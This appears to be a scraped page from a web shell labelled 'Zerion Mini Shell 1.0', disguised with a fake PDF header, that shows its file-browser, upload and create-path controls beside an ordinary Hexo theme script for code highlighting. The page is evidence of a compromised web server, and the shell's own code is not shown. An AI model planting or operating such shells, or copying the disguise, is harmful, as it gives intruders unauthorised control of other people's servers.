%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/www/specpages-backup/themes/dawn/scripts/events/lib/
Upload File :
Create Path :
Current File : //proc/thread-self/root/www/specpages-backup/themes/dawn/scripts/events/lib/highlight.js

'use strict';

const fs = require('fs');
const { resolve, highlightTheme } = require('./utils');

function prismTheme(name) {
  let file = resolve('prismjs', `themes/${name}.css`);
  if (!fs.existsSync(file)) file = resolve('prism-themes', `themes/${name}.css`);
  return file;
}

module.exports = hexo => {
  const { config } = hexo;
  const theme = hexo.theme.config;
  config.highlight.hljs = false;
  config.prismjs = config.prismjs || {};
  theme.highlight = {
    enable: config.highlight.enable && !config.prismjs.enable,
    light : highlightTheme(theme.codeblock.theme.light),
    dark  : highlightTheme(theme.codeblock.theme.dark)
  };
  theme.prism = {
    enable: config.prismjs.enable,
    light : prismTheme(theme.codeblock.prism.light),
    dark  : prismTheme(theme.codeblock.prism.dark),
    number: resolve('prismjs', 'plugins/line-numbers/prism-line-numbers.css')
  };
};

Zerion Mini Shell 1.0